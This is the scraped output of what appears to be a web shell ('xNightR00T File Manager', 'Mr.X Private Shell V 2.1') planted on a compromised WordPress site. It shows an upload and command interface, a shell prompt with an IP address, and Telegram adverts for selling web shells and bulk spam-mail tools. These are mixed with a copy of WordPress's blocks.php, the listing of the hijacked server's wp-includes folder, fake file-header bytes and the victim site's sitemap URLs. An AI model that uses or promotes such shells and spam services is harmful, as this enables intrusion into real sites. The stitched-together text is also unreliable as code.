xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * Functions related to registering and parsing blocks.
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 */

/**
 * Registers a block type.
 *
 * @since 5.0.0
 *
 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
 *                                   complete WP_Block_Type instance. In case a WP_Block_Type
 *                                   is provided, the $args parameter will be ignored.
 * @param array                $args {
 *     Optional. Array of block type arguments. Any arguments may be defined, however the
 *     ones described below are supported by default. Default empty array.
 *
 *     @type callable $render_callback Callback used to render blocks of this block type.
 * }
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 */
function register_block_type( $name, $args = array() ) {
	return WP_Block_Type_Registry::get_instance()->register( $name, $args );
}

/**
 * Unregisters a block type.
 *
 * @since 5.0.0
 *
 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a
 *                                   complete WP_Block_Type instance.
 * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
 */
function unregister_block_type( $name ) {
	return WP_Block_Type_Registry::get_instance()->unregister( $name );
}

/**
 * Determine whether a post or content string has blocks.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * the pattern of a block but not validating its structure. For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 * @see parse_blocks()
 *
 * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post.
 * @return bool Whether the post has blocks.
 */
function has_blocks( $post = null ) {
	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	return false !== strpos( (string) $post, '<!-- wp:' );
}

/**
 * Determine whether a $post or a string contains a specific block type.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * the block type exists but not validating its structure. For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 * @see parse_blocks()
 *
 * @param string                  $block_name Full Block type to look for.
 * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post.
 * @return bool Whether the post content contains the specified block.
 */
function has_block( $block_name, $post = null ) {
	if ( ! has_blocks( $post ) ) {
		return false;
	}

	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	/*
	 * Normalize block name to include namespace, if provided as non-namespaced.
	 * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
	 * their serialized names.
	 */
	if ( false === strpos( $block_name, '/' ) ) {
		$block_name = 'core/' . $block_name;
	}

	// Test for existence of block by its fully qualified name.
	$has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' );

	if ( ! $has_block ) {
		/*
		 * If the given block name would serialize to a different name, test for
		 * existence by the serialized form.
		 */
		$serialized_block_name = strip_core_block_namespace( $block_name );
		if ( $serialized_block_name !== $block_name ) {
			$has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' );
		}
	}

	return $has_block;
}

/**
 * Returns an array of the names of all registered dynamic block types.
 *
 * @since 5.0.0
 *
 * @return array Array of dynamic block names.
 */
function get_dynamic_block_names() {
	$dynamic_block_names = array();

	$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
	foreach ( $block_types as $block_type ) {
		if ( $block_type->is_dynamic() ) {
			$dynamic_block_names[] = $block_type->name;
		}
	}

	return $dynamic_block_names;
}

/**
 * Given an array of attributes, returns a string in the serialized attributes
 * format prepared for post content.
 *
 * The serialized result is a JSON-encoded string, with unicode escape sequence
 * substitution for characters which might otherwise interfere with embedding
 * the result in an HTML comment.
 *
 * @since 5.3.1
 *
 * @param array $attributes Attributes object.
 * @return string Serialized attributes.
 */
function serialize_block_attributes( $block_attributes ) {
	$encoded_attributes = json_encode( $block_attributes );
	$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
	$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
	$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
	$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
	// Regex: /\\"/
	$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );

	return $encoded_attributes;
}

/**
 * Returns the block name to use for serialization. This will remove the default
 * "core/" namespace from a block name.
 *
 * @since 5.3.1
 *
 * @param string $block_name Original block name.
 * @return string Block name to use for serialization.
 */
function strip_core_block_namespace( $block_name = null ) {
	if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) {
		return substr( $block_name, 5 );
	}

	return $block_name;
}

/**
 * Returns the content of a block, including comment delimiters.
 *
 * @since 5.3.1
 *
 * @param string $block_name Block name.
 * @param array  $attributes Block attributes.
 * @param string $content    Block save content.
 * @return string Comment-delimited block content.
 */
function get_comment_delimited_block_content( $block_name = null, $block_attributes, $block_content ) {
	if ( is_null( $block_name ) ) {
		return $block_content;
	}

	$serialized_block_name = strip_core_block_namespace( $block_name );
	$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';

	if ( empty( $block_content ) ) {
		return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
	}

	return sprintf(
		'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
		$serialized_block_name,
		$serialized_attributes,
		$block_content,
		$serialized_block_name
	);
}

/**
 * Returns the content of a block, including comment delimiters, serializing all
 * attributes from the given parsed block.
 *
 * This should be used when preparing a block to be saved to post content.
 * Prefer `render_block` when preparing a block for display. Unlike
 * `render_block`, this does not evaluate a block's `render_callback`, and will
 * instead preserve the markup as parsed.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block A single parsed block object.
 * @return string String of rendered HTML.
 */
function serialize_block( $block ) {
	$block_content = '';

	$index = 0;
	foreach ( $block['innerContent'] as $chunk ) {
		$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	return get_comment_delimited_block_content(
		$block['blockName'],
		$block['attrs'],
		$block_content
	);
}

/**
 * Returns a joined string of the aggregate serialization of the given parsed
 * blocks.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block[] $blocks Parsed block objects.
 * @return string String of rendered HTML.
 */
function serialize_blocks( $blocks ) {
	return implode( '', array_map( 'serialize_block', $blocks ) );
}

/**
 * Filters and sanitizes block content to remove non-allowable HTML from
 * parsed block attribute values.
 *
 * @since 5.3.1
 *
 * @param string         $text              Text that may contain block content.
 * @param array[]|string $allowed_html      An array of allowed HTML elements
 *                                          and attributes, or a context name
 *                                          such as 'post'.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string The filtered and sanitized content result.
 */
function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
	$result = '';

	$blocks = parse_blocks( $text );
	foreach ( $blocks as $block ) {
		$block   = filter_block_kses( $block, $allowed_html, $allowed_protocols );
		$result .= serialize_block( $block );
	}

	return $result;
}

/**
 * Filters and sanitizes a parsed block to remove non-allowable HTML from block
 * attribute values.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block             The parsed block object.
 * @param array[]|string        $allowed_html      An array of allowed HTML
 *                                                 elements and attributes, or a
 *                                                 context name such as 'post'.
 * @param string[]              $allowed_protocols Allowed URL protocols.
 * @return array The filtered and sanitized block object result.
 */
function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
	$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols );

	if ( is_array( $block['innerBlocks'] ) ) {
		foreach ( $block['innerBlocks'] as $i => $inner_block ) {
			$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
		}
	}

	return $block;
}

/**
 * Filters and sanitizes a parsed block attribute value to remove non-allowable
 * HTML.
 *
 * @since 5.3.1
 *
 * @param mixed          $value             The attribute value to filter.
 * @param array[]|string $allowed_html      An array of allowed HTML elements
 *                                          and attributes, or a context name
 *                                          such as 'post'.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return array The filtered and sanitized result.
 */
function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) {
	if ( is_array( $value ) ) {
		foreach ( $value as $key => $inner_value ) {
			$filtered_key   = filter_block_kses_value( $key, $allowed_html, $allowed_protocols );
			$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols );

			if ( $filtered_key !== $key ) {
				unset( $value[ $key ] );
			}

			$value[ $filtered_key ] = $filtered_value;
		}
	} elseif ( is_string( $value ) ) {
		return wp_kses( $value, $allowed_html, $allowed_protocols );
	}

	return $value;
}

/**
 * Parses blocks out of a content string, and renders those appropriate for the excerpt.
 *
 * As the excerpt should be a small string of text relevant to the full post content,
 * this function renders the blocks that are most likely to contain such text.
 *
 * @since 5.0.0
 *
 * @param string $content The content to parse.
 * @return string The parsed and filtered content.
 */
function excerpt_remove_blocks( $content ) {
	$allowed_inner_blocks = array(
		// Classic blocks have their blockName set to null.
		null,
		'core/freeform',
		'core/heading',
		'core/html',
		'core/list',
		'core/media-text',
		'core/paragraph',
		'core/preformatted',
		'core/pullquote',
		'core/quote',
		'core/table',
		'core/verse',
	);

	$allowed_blocks = array_merge( $allowed_inner_blocks, array( 'core/columns' ) );

	/**
	 * Filters the list of blocks that can contribute to the excerpt.
	 *
	 * If a dynamic block is added to this list, it must not generate another
	 * excerpt, as this will cause an infinite loop to occur.
	 *
	 * @since 5.0.0
	 *
	 * @param array $allowed_blocks The list of allowed blocks.
	 */
	$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
	$blocks         = parse_blocks( $content );
	$output         = '';

	foreach ( $blocks as $block ) {
		if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
			if ( ! empty( $block['innerBlocks'] ) ) {
				if ( 'core/columns' === $block['blockName'] ) {
					$output .= _excerpt_render_inner_columns_blocks( $block, $allowed_inner_blocks );
					continue;
				}

				// Skip the block if it has disallowed or nested inner blocks.
				foreach ( $block['innerBlocks'] as $inner_block ) {
					if (
						! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) ||
						! empty( $inner_block['innerBlocks'] )
					) {
						continue 2;
					}
				}
			}

			$output .= render_block( $block );
		}
	}

	return $output;
}

/**
 * Render inner blocks from the `core/columns` block for generating an excerpt.
 *
 * @since 5.2.0
 * @access private
 *
 * @param array $columns        The parsed columns block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 */
function _excerpt_render_inner_columns_blocks( $columns, $allowed_blocks ) {
	$output = '';

	foreach ( $columns['innerBlocks'] as $column ) {
		foreach ( $column['innerBlocks'] as $inner_block ) {
			if ( in_array( $inner_block['blockName'], $allowed_blocks, true ) && empty( $inner_block['innerBlocks'] ) ) {
				$output .= render_block( $inner_block );
			}
		}
	}

	return $output;
}

/**
 * Renders a single block into a HTML string.
 *
 * @since 5.0.0
 *
 * @global WP_Post $post The post to edit.
 *
 * @param array $block A single parsed block object.
 * @return string String of rendered HTML.
 */
function render_block( $block ) {
	global $post;

	/**
	 * Allows render_block() to be shortcircuited, by returning a non-null value.
	 *
	 * @since 5.1.0
	 *
	 * @param string|null $pre_render The pre-rendered content. Default null.
	 * @param array       $block      The block being rendered.
	 */
	$pre_render = apply_filters( 'pre_render_block', null, $block );
	if ( ! is_null( $pre_render ) ) {
		return $pre_render;
	}

	$source_block = $block;

	/**
	 * Filters the block being rendered in render_block(), before it's processed.
	 *
	 * @since 5.1.0
	 *
	 * @param array $block        The block being rendered.
	 * @param array $source_block An un-modified copy of $block, as it appeared in the source content.
	 */
	$block = apply_filters( 'render_block_data', $block, $source_block );

	$block_type    = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$is_dynamic    = $block['blockName'] && null !== $block_type && $block_type->is_dynamic();
	$block_content = '';
	$index         = 0;

	foreach ( $block['innerContent'] as $chunk ) {
		$block_content .= is_string( $chunk ) ? $chunk : render_block( $block['innerBlocks'][ $index++ ] );
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	if ( $is_dynamic ) {
		$global_post   = $post;
		$block_content = $block_type->render( $block['attrs'], $block_content );
		$post          = $global_post;
	}

	/**
	 * Filters the content of a single block.
	 *
	 * @since 5.0.0
	 *
	 * @param string $block_content The block content about to be appended.
	 * @param array  $block         The full block, including name and attributes.
	 */
	return apply_filters( 'render_block', $block_content, $block );
}

/**
 * Parses blocks out of a content string.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return array Array of parsed block objects.
 */
function parse_blocks( $content ) {
	/**
	 * Filter to allow plugins to replace the server-side block parser
	 *
	 * @since 5.0.0
	 *
	 * @param string $parser_class Name of block parser class.
	 */
	$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );

	$parser = new $parser_class();
	return $parser->parse( $content );
}

/**
 * Parses dynamic blocks out of `post_content` and re-renders them.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return string Updated post content.
 */
function do_blocks( $content ) {
	$blocks = parse_blocks( $content );
	$output = '';

	foreach ( $blocks as $block ) {
		$output .= render_block( $block );
	}

	// If there are blocks in this content, we shouldn't run wpautop() on it later.
	$priority = has_filter( 'the_content', 'wpautop' );
	if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
		remove_filter( 'the_content', 'wpautop', $priority );
		add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
	}

	return $output;
}

/**
 * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards,
 * for subsequent `the_content` usage.
 *
 * @access private
 *
 * @since 5.0.0
 *
 * @param string $content The post content running through this filter.
 * @return string The unmodified content.
 */
function _restore_wpautop_hook( $content ) {
	$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );

	add_filter( 'the_content', 'wpautop', $current_priority - 1 );
	remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );

	return $content;
}

/**
 * Returns the current version of the block format that the content string is using.
 *
 * If the string doesn't contain blocks, it returns 0.
 *
 * @since 5.0.0
 *
 * @param string $content Content to test.
 * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
 */
function block_version( $content ) {
	return has_blocks( $content ) ? 1 : 0;
}

/**
 * Registers a new block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param array  $style_properties Array containing the properties of the style name, label, style (name of the stylesheet to be enqueued), inline_style (string containing the CSS to be added).
 *
 * @return boolean True if the block style was registered with success and false otherwise.
 */
function register_block_style( $block_name, $style_properties ) {
	return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties );
}

/**
 * Unregisters a block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param array  $block_style_name Block style name.
 *
 * @return boolean True if the block style was unregistered with success and false otherwise.
 */
function unregister_block_style( $block_name, $block_style_name ) {
	return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name );
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
images Folder 0755
js Folder 0755
pomo Folder 0755
random_compat Folder 0755
rest-api Folder 0755
sodium_compat Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 30.23 KB 0644
atomlib.php File 11.56 KB 0644
author-template.php File 16.6 KB 0644
blocks.php File 18.29 KB 0644
bookmark-template.php File 12.2 KB 0644
bookmark.php File 14.65 KB 0644
cache.php File 21.36 KB 0644
canonical.php File 28.23 KB 0644
capabilities.php File 33.29 KB 0644
category-template.php File 51.4 KB 0644
category.php File 12.09 KB 0644
class-IXR.php File 2.51 KB 0644
class-feed.php File 544 B 0644
class-http.php File 37.85 KB 0644
class-json.php File 42.37 KB 0644
class-oembed.php File 410 B 0644
class-phpass.php File 7.15 KB 0644
class-phpmailer.php File 145.11 KB 0644
class-pop3.php File 20.43 KB 0644
class-requests.php File 29.1 KB 0644
class-simplepie.php File 87.17 KB 0644
class-smtp.php File 39.96 KB 0644
class-snoopy.php File 36.9 KB 0644
class-walker-category-dropdown.php File 2.08 KB 0644
class-walker-category.php File 7.69 KB 0644
class-walker-comment.php File 13.36 KB 0644
class-walker-nav-menu.php File 8.47 KB 0644
class-walker-page-dropdown.php File 2.25 KB 0644
class-walker-page.php File 6.87 KB 0644
class-wp-admin-bar.php File 16.55 KB 0644
class-wp-ajax-response.php File 5.11 KB 0644
class-wp-block-parser.php File 14.86 KB 0644
class-wp-block-styles-registry.php File 4.55 KB 0644
class-wp-block-type-registry.php File 4.63 KB 0644
class-wp-block-type.php File 4.7 KB 0644
class-wp-comment-query.php File 43.47 KB 0644
class-wp-comment.php File 8.75 KB 0644
class-wp-customize-control.php File 24.47 KB 0644
class-wp-customize-manager.php File 198.49 KB 0644
class-wp-customize-nav-menus.php File 53.25 KB 0644
class-wp-customize-panel.php File 9.37 KB 0644
class-wp-customize-section.php File 9.93 KB 0644
class-wp-customize-setting.php File 27.53 KB 0644
class-wp-customize-widgets.php File 65.41 KB 0644
class-wp-date-query.php File 34.01 KB 0644
class-wp-dependency.php File 2.44 KB 0644
class-wp-editor.php File 66.62 KB 0644
class-wp-embed.php File 14.4 KB 0644
class-wp-error.php File 4.81 KB 0644
class-wp-fatal-error-handler.php File 7.25 KB 0644
class-wp-feed-cache-transient.php File 2.5 KB 0644
class-wp-feed-cache.php File 749 B 0644
class-wp-hook.php File 13.96 KB 0644
class-wp-http-cookie.php File 6.98 KB 0644
class-wp-http-curl.php File 12.04 KB 0644
class-wp-http-encoding.php File 6.39 KB 0644
class-wp-http-ixr-client.php File 3.25 KB 0644
class-wp-http-proxy.php File 5.93 KB 0644
class-wp-http-requests-hooks.php File 1.9 KB 0644
class-wp-http-requests-response.php File 4.24 KB 0644
class-wp-http-response.php File 2.88 KB 0644
class-wp-http-streams.php File 15.69 KB 0644
class-wp-image-editor-gd.php File 13.56 KB 0644
class-wp-image-editor-imagick.php File 23.09 KB 0644
class-wp-image-editor.php File 13.58 KB 0644
class-wp-list-util.php File 6.26 KB 0644
class-wp-locale-switcher.php File 4.9 KB 0644
class-wp-locale.php File 13.57 KB 0644
class-wp-matchesmapregex.php File 1.76 KB 0644
class-wp-meta-query.php File 27.19 KB 0644
class-wp-metadata-lazyloader.php File 5.26 KB 0644
class-wp-network-query.php File 17.94 KB 0644
class-wp-network.php File 12 KB 0644
class-wp-oembed-controller.php File 5.89 KB 0644
class-wp-oembed.php File 29.47 KB 0644
class-wp-paused-extensions-storage.php File 4.82 KB 0644
class-wp-post-type.php File 19.07 KB 0644
class-wp-post.php File 6.29 KB 0644
class-wp-query.php File 126.89 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.31 KB 0644
class-wp-recovery-mode-email-service.php File 9.88 KB 0644
class-wp-recovery-mode-key-service.php File 4.18 KB 0644
class-wp-recovery-mode-link-service.php File 3.29 KB 0644
class-wp-recovery-mode.php File 11.09 KB 0644
class-wp-rewrite.php File 58.49 KB 0644
class-wp-role.php File 2.6 KB 0644
class-wp-roles.php File 8.11 KB 0644
class-wp-session-tokens.php File 7.26 KB 0644
class-wp-simplepie-file.php File 2.27 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0644
class-wp-site-query.php File 27.86 KB 0644
class-wp-site.php File 7.19 KB 0644
class-wp-tax-query.php File 18.98 KB 0644
class-wp-taxonomy.php File 10.44 KB 0644
class-wp-term-query.php File 34.59 KB 0644
class-wp-term.php File 5.14 KB 0644
class-wp-text-diff-renderer-inline.php File 716 B 0644
class-wp-text-diff-renderer-table.php File 16.4 KB 0644
class-wp-theme.php File 48.96 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 30.56 KB 0644
class-wp-user-request.php File 1.95 KB 0644
class-wp-user.php File 21.26 KB 0644
class-wp-walker.php File 12.42 KB 0644
class-wp-widget-factory.php File 2.79 KB 0644
class-wp-widget.php File 17.42 KB 0644
class-wp-xmlrpc-server.php File 205.15 KB 0644
class-wp.php File 23.98 KB 0644
class.wp-dependencies.php File 11.25 KB 0644
class.wp-scripts.php File 17.34 KB 0644
class.wp-styles.php File 10.29 KB 0644
comment-template.php File 89.49 KB 0644
comment.php File 114.11 KB 0644
compat.php File 11.48 KB 0644
cron.php File 31.69 KB 0644
date.php File 409 B 0644
default-constants.php File 9.88 KB 0644
default-filters.php File 25.29 KB 0644
default-widgets.php File 2.13 KB 0644
deprecated.php File 111.39 KB 0644
embed-template.php File 344 B 0644
embed.php File 46.21 KB 0644
error-protection.php File 3.31 KB 0644
feed-atom-comments.php File 5.28 KB 0644
feed-atom.php File 3.01 KB 0644
feed-rdf.php File 2.6 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 4.05 KB 0644
feed-rss2.php File 3.69 KB 0644
feed.php File 21.51 KB 0644
formatting.php File 290.82 KB 0644
functions.php File 222.6 KB 0644
functions.wp-scripts.php File 12.52 KB 0644
functions.wp-styles.php File 8.03 KB 0644
general-template.php File 148.89 KB 0644
http.php File 22.02 KB 0644
kses.php File 57.39 KB 0644
l10n.php File 51.84 KB 0644
link-template.php File 140.16 KB 0644
load.php File 42.28 KB 0644
locale.php File 162 B 0644
media-template.php File 56.34 KB 0644
media.php File 145.43 KB 0644
meta.php File 46.63 KB 0644
ms-blogs.php File 23.84 KB 0644
ms-default-constants.php File 4.67 KB 0644
ms-default-filters.php File 6.26 KB 0644
ms-deprecated.php File 20.84 KB 0644
ms-files.php File 2.59 KB 0644
ms-functions.php File 85.58 KB 0644
ms-load.php File 19.16 KB 0644
ms-network.php File 3.57 KB 0644
ms-settings.php File 4.04 KB 0644
ms-site.php File 42.06 KB 0644
nav-menu-template.php File 21.54 KB 0644
nav-menu.php File 40.33 KB 0644
option.php File 68.5 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 97.44 KB 0644
plugin.php File 31.56 KB 0644
post-formats.php File 6.89 KB 0644
post-template.php File 61.32 KB 0644
post-thumbnail-template.php File 8.78 KB 0644
post.php File 236.87 KB 0644
query.php File 32.16 KB 0644
registration-functions.php File 202 B 0644
registration.php File 202 B 0644
rest-api.php File 45.47 KB 0644
revision.php File 21.18 KB 0644
rewrite.php File 17.61 KB 0644
rss-functions.php File 214 B 0644
rss.php File 22.66 KB 0644
script-loader.php File 110.89 KB 0644
session.php File 264 B 0644
shortcodes.php File 20.26 KB 0644
spl-autoload-compat.php File 443 B 0644
taxonomy.php File 154.26 KB 0644
template-loader.php File 2.79 KB 0644
template.php File 20.55 KB 0644
theme.php File 102.42 KB 0644
update.php File 24.97 KB 0644
user.php File 121 KB 0644
vars.php File 5.68 KB 0644
version.php File 762 B 0644
widgets.php File 57.35 KB 0644
wlwmanifest.xml File 1.02 KB 0644
wp-db.php File 101.4 KB 0644
wp-diff.php File 662 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml